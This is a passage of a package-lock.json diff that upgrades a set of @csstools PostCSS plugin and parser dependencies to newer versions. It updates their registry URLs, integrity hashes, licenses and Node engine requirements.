- "version": "2.2.3",
- "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-2.2.3.tgz",
- "integrity": "sha512-pp//EvZ9dUmGuGtG1p+n17gTHEOqu9jO+FiCUjNN3BDmyhdA2Jq9QsVeR7K8/2QCK17HSsioPlTW9ZkzoWb3Lg==",
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz",
+ "integrity": "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==",
"dev": true,
"funding": [
{
@@ -6890,14 +7680,15 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
}
},
"node_modules/@csstools/media-query-list-parser": {
- "version": "2.1.7",
- "resolved": "https://registry.npmjs.org/@csstools/media-query-list-parser/-/media-query-list-parser-2.1.7.tgz",
- "integrity": "sha512-lHPKJDkPUECsyAvD60joYfDmp8UERYxHGkFfyLJFTVK/ERJe0sVlIFLXU5XFxdjNDTerp5L4KeaKG+Z5S94qxQ==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/media-query-list-parser/-/media-query-list-parser-5.0.0.tgz",
+ "integrity": "sha512-T9lXmZOfnam3eMERPsszjY5NK0jX8RmThmmm99FZ8b7z8yMaFZWKwLWGZuTwdO3ddRY5fy13GmmEYZXB4I98Eg==",
"dev": true,
"funding": [
{
@@ -6909,38 +7700,49 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT",
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
- "@csstools/css-parser-algorithms": "^2.5.0",
- "@csstools/css-tokenizer": "^2.2.3"
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
}
},
- "node_modules/@csstools/postcss-cascade-layers": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-3.0.1.tgz",
- "integrity": "sha512-dD8W98dOYNOH/yX4V4HXOhfCOnvVAg8TtsL+qCGNoKXuq5z2C/d026wGWgySgC8cajXXo/wNezS31Glj5GcqrA==",
+ "node_modules/@csstools/postcss-alpha-function": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-alpha-function/-/postcss-alpha-function-2.0.3.tgz",
+ "integrity": "sha512-8GqzD3JnfpKJSVxPIC0KadyAfB5VRzPZdv7XQ4zvK1q0ku+uHVUAS2N/IDavQkW40gkuUci64O0ea6QB/zgCSw==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/selector-specificity": "^2.0.2",
- "postcss-selector-parser": "^6.0.10"
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
- "node_modules/@csstools/postcss-color-function": {
- "version": "2.2.3",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-2.2.3.tgz",
- "integrity": "sha512-b1ptNkr1UWP96EEHqKBWWaV5m/0hgYGctgA/RVZhONeP1L3T/8hwoqDm9bB23yVCfOgE9U93KI9j06+pEkJTvw==",
+ "node_modules/@csstools/postcss-cascade-layers": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-6.0.0.tgz",
+ "integrity": "sha512-WhsECqmrEZQGqaPlBA7JkmF/CJ2/+wetL4fkL9sOPccKd32PQ1qToFM6gqSI5rkpmYqubvbxjEJhyMTHYK0vZQ==",
"dev": true,
"funding": [
{
@@ -6952,23 +7754,119 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-color-parser": "^1.2.0",
- "@csstools/css-parser-algorithms": "^2.1.1",
- "@csstools/css-tokenizer": "^2.1.1",
- "@csstools/postcss-progressive-custom-properties": "^2.3.0"
+ "@csstools/selector-specificity": "^6.0.0",
+ "postcss-selector-parser": "^7.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-cascade-layers/node_modules/@csstools/selector-specificity": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-6.0.0.tgz",
+ "integrity": "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss-selector-parser": "^7.1.1"
+ }
+ },
+ "node_modules/@csstools/postcss-cascade-layers/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/@csstools/postcss-color-function": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-5.0.2.tgz",
+ "integrity": "sha512-CjBdFemUFcAh3087MEJhZcO+QT1b8S75agysa1rU9TEC1YecznzwV+jpMxUc0JRBEV4ET2PjLssqmndR9IygeA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-color-function-display-p3-linear": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function-display-p3-linear/-/postcss-color-function-display-p3-linear-2.0.2.tgz",
+ "integrity": "sha512-TWUwSe1+2KdYGGWTx5LR4JQN07vKHAeSho+bGYRgow+9cs3dqgOqS1f/a1odiX30ESmZvwIudJ86wzeiDR6UGg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-color-mix-function": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-color-mix-function/-/postcss-color-mix-function-1.0.3.tgz",
- "integrity": "sha512-QGXjGugTluqFZWzVf+S3wCiRiI0ukXlYqCi7OnpDotP/zaVTyl/aqZujLFzTOXy24BoWnu89frGMc79ohY5eog==",
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-color-mix-function/-/postcss-color-mix-function-4.0.2.tgz",
+ "integrity": "sha512-PFKQKswFqZrYKpajZsP4lhqjU/6+J5PTOWq1rKiFnniKsf4LgpGXrgHS/C6nn5Rc51LX0n4dWOWqY5ZN2i5IjA==",
"dev": true,
"funding": [
{
@@ -6980,42 +7878,223 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-color-parser": "^1.2.0",
- "@csstools/css-parser-algorithms": "^2.1.1",
- "@csstools/css-tokenizer": "^2.1.1",
- "@csstools/postcss-progressive-custom-properties": "^2.3.0"
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-color-mix-variadic-function-arguments": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-color-mix-variadic-function-arguments/-/postcss-color-mix-variadic-function-arguments-2.0.2.tgz",
+ "integrity": "sha512-zEchsghpDH/6SytyjKu9TIPm4hiiWcur102cENl54cyIwTZsa+2MBJl/vtyALZ+uQ17h27L4waD+0Ow96sgZow==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-content-alt-text": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-content-alt-text/-/postcss-content-alt-text-3.0.0.tgz",
+ "integrity": "sha512-OHa+4aCcrJtHpPWB3zptScHwpS1TUbeLR4uO0ntIz0Su/zw9SoWkVu+tDMSySSAsNtNSI3kut4fTliFwIsrHxA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-contrast-color-function": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-contrast-color-function/-/postcss-contrast-color-function-3.0.2.tgz",
+ "integrity": "sha512-fwOz/m+ytFPz4aIph2foQS9nEDOdOjYcN5bgwbGR2jGUV8mYaeD/EaTVMHTRb/zqB65y2qNwmcFcE6VQty69Pw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-exponential-functions": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-exponential-functions/-/postcss-exponential-functions-3.0.1.tgz",
+ "integrity": "sha512-WHJ52Uk0AVUIICEYRY9xFHJZAuq0ZVg0f8xzqUN2zRFrZvGgRPpFwxK7h9FWvqKIOueOwN6hnJD23A8FwsUiVw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-calc": "^3.1.1",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-font-format-keywords": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-2.0.2.tgz",
- "integrity": "sha512-iKYZlIs6JsNT7NKyRjyIyezTCHLh4L4BBB3F5Nx7Dc4Z/QmBgX+YJFuUSar8IM6KclGiAUFGomXFdYxAwJydlA==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-5.0.0.tgz",
+ "integrity": "sha512-M1EjCe/J3u8fFhOZgRci74cQhJ7R0UFBX6T+WqoEvjrr8hVfMiV+HTYrzxLY5OW8YllvXYr5Q5t5OvJbsUSeDg==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
+ "@csstools/utilities": "^3.0.0",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-font-width-property": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-font-width-property/-/postcss-font-width-property-1.0.0.tgz",
+ "integrity": "sha512-AvmySApdijbjYQuXXh95tb7iVnqZBbJrv3oajO927ksE/mDmJBiszm+psW8orL2lRGR8j6ZU5Uv9/ou2Z5KRKA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/utilities": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-gamut-mapping": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-gamut-mapping/-/postcss-gamut-mapping-3.0.2.tgz",
+ "integrity": "sha512-IrXAW3KQ3Sxm29C3/4mYQ/iA0Q5OH9YFOPQ2w24iIlXpD06A9MHvmQapP2vAGtQI3tlp2Xw5LIdm9F8khARfOA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-gradients-interpolation-method": {
- "version": "3.0.6",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-gradients-interpolation-method/-/postcss-gradients-interpolation-method-3.0.6.tgz",
- "integrity": "sha512-rBOBTat/YMmB0G8VHwKqDEx+RZ4KCU9j42K8LwS0IpZnyThalZZF7BCSsZ6TFlZhcRZKlZy3LLFI2pLqjNVGGA==",
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-gradients-interpolation-method/-/postcss-gradients-interpolation-method-6.0.2.tgz",
+ "integrity": "sha512-saQHvD1PD/zCdn+kxCWCcQOdXZBljr8L6BKlCLs0w8GXYfo3SHdWL1HZQ+I1hVCPlU+MJPJJbZJjG/jHRJSlAw==",
"dev": true,
"funding": [
{
@@ -7027,23 +8106,25 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-color-parser": "^1.2.0",
- "@csstools/css-parser-algorithms": "^2.1.1",
- "@csstools/css-tokenizer": "^2.1.1",
- "@csstools/postcss-progressive-custom-properties": "^2.3.0"
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-hwb-function": {
- "version": "2.2.2",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-2.2.2.tgz",
- "integrity": "sha512-W5Y5oaJ382HSlbdGfPf60d7dAK6Hqf10+Be1yZbd/TNNrQ/3dDdV1c07YwOXPQ3PZ6dvFMhxbIbn8EC3ki3nEg==",
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-5.0.2.tgz",
+ "integrity": "sha512-ChR0+pKc/2cs900jakiv8dLrb69aez5P3T+g+wfJx1j6mreAe8orKTiMrVBk+DZvCRqpdOA2m8VoFms64A3Dew==",
"dev": true,
"funding": [
{
@@ -7055,22 +8136,25 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/css-color-parser": "^1.2.0",
- "@csstools/css-parser-algorithms": "^2.1.1",
- "@csstools/css-tokenizer": "^2.1.1"
+ "@csstools/css-color-parser": "^4.0.2",
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-ic-unit": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-2.0.4.tgz",
- "integrity": "sha512-9W2ZbV7whWnr1Gt4qYgxMWzbevZMOvclUczT5vk4yR6vS53W/njiiUhtm/jh/BKYwQ1W3PECZjgAd2dH4ebJig==",
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-5.0.0.tgz",
+ "integrity": "sha512-/ws5d6c4uKqfM9zIL3ugcGI+3fvZEOOkJHNzAyTAGJIdZ+aSL9BVPNlHGV4QzmL0vqBSCOdU3+rhcMEj3+KzYw==",
"dev": true,
"funding": [
{
@@ -7082,21 +8166,46 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/postcss-progressive-custom-properties": "^2.3.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0",
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-initial": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-initial/-/postcss-initial-3.0.0.tgz",
+ "integrity": "sha512-UVUrFmrTQyLomVepnjWlbBg7GoscLmXLwYFyjbcEnmpeGW7wde6lNpx5eM3eVwZI2M+7hCE3ykYnAsEPLcLa+Q==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-is-pseudo-class": {
- "version": "3.2.1",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-3.2.1.tgz",
- "integrity": "sha512-AtANdV34kJl04Al62is3eQRk/BfOfyAvEmRJvbt+nx5REqImLC+2XhuE6skgkcPli1l8ONS67wS+l1sBzySc3Q==",
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-6.0.0.tgz",
+ "integrity": "sha512-1Hdy/ykg9RDo8vU8RiM2o+RaXO39WpFPaIkHxlAEJFofle/lc33tdQMKhBk3jR/Fe+uZNLOs3HlowFafyFptVw==",
"dev": true,
"funding": [
{
@@ -7108,75 +8217,210 @@
"url": "https://opencollective.com/csstools"
}
],
+ "license": "MIT-0",
"dependencies": {
- "@csstools/selector-specificity": "^2.0.0",
- "postcss-selector-parser": "^6.0.10"
+ "@csstools/selector-specificity": "^6.0.0",
+ "postcss-selector-parser": "^7.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-is-pseudo-class/node_modules/@csstools/selector-specificity": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-6.0.0.tgz",
+ "integrity": "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss-selector-parser": "^7.1.1"
+ }
+ },
+ "node_modules/@csstools/postcss-is-pseudo-class/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/@csstools/postcss-light-dark-function": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-light-dark-function/-/postcss-light-dark-function-3.0.0.tgz",
+ "integrity": "sha512-s++V5/hYazeRUCYIn2lsBVzUsxdeC46gtwpgW6lu5U/GlPOS5UTDT14kkEyPgXmFbCvaWLREqV7YTMJq1K3G6w==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "dependencies": {
+ "@csstools/css-parser-algorithms": "^4.0.0",
+ "@csstools/css-tokenizer": "^4.0.0",
+ "@csstools/postcss-progressive-custom-properties": "^5.0.0",
+ "@csstools/utilities": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-logical-float-and-clear": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-float-and-clear/-/postcss-logical-float-and-clear-1.0.1.tgz",
- "integrity": "sha512-eO9z2sMLddvlfFEW5Fxbjyd03zaO7cJafDurK4rCqyRt9P7aaWwha0LcSzoROlcZrw1NBV2JAp2vMKfPMQO1xw==",
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-float-and-clear/-/postcss-logical-float-and-clear-4.0.0.tgz",
+ "integrity": "sha512-NGzdIRVj/VxOa/TjVdkHeyiJoDihONV0+uB0csUdgWbFFr8xndtfqK8iIGP9IKJzco+w0hvBF2SSk2sDSTAnOQ==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"engines": {
- "node": "^14 || ^16 || >=18"
+ "node": ">=20.19.0"
},
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-logical-overflow": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-overflow/-/postcss-logical-overflow-3.0.0.tgz",
+ "integrity": "sha512-5cRg93QXVskM0MNepHpPcL0WLSf5Hncky0DrFDQY/4ozbH5lH7SX5ejayVpNTGSX7IpOvu7ykQDLOdMMGYzwpA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=20.19.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4"
+ }
+ },
+ "node_modules/@csstools/postcss-logical-overscroll-behavior": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-overscroll-behavior/-/postcss-logical-overscroll-behavior-3.0.0.tgz",
+ "integrity": "sha512-82Jnl/5Wi5jb19nQE1XlBHrZcNL3PzOgcj268cDkfwf+xi10HBqufGo1Unwf5n8bbbEFhEKgyQW+vFsc9iY1jw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
+ "engines": {
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-logical-resize": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-resize/-/postcss-logical-resize-1.0.1.tgz",
- "integrity": "sha512-x1ge74eCSvpBkDDWppl+7FuD2dL68WP+wwP2qvdUcKY17vJksz+XoE1ZRV38uJgS6FNUwC0AxrPW5gy3MxsDHQ==",
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-resize/-/postcss-logical-resize-4.0.0.tgz",
+ "integrity": "sha512-L0T3q0gei/tGetCGZU0c7VN77VTivRpz1YZRNxjXYmW+85PKeI6U9YnSvDqLU2vBT2uN4kLEzfgZ0ThIZpN18A==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT-0",
"dependencies": {
"postcss-value-parser": "^4.2.0"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
"node_modules/@csstools/postcss-logical-viewport-units": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-viewport-units/-/postcss-logical-viewport-units-1.0.3.tgz",
- "integrity": "sha512-6zqcyRg9HSqIHIPMYdt6THWhRmE5/tyHKJQLysn2TeDf/ftq7Em9qwMTx98t2C/7UxIsYS8lOiHHxAVjWn2WUg==",
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/@csstools/postcss-logical-viewport-units/-/postcss-logical-viewport-units-4.0.0.tgz",
+ "integrity": "sha512-TA3AqVN/1IH3dKRC2UUWvprvwyOs2IeD7FDZk5Hz20w4q33yIuSg0i0gjyTUkcn90g8A4n7QpyZ2AgBrnYPnnA==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
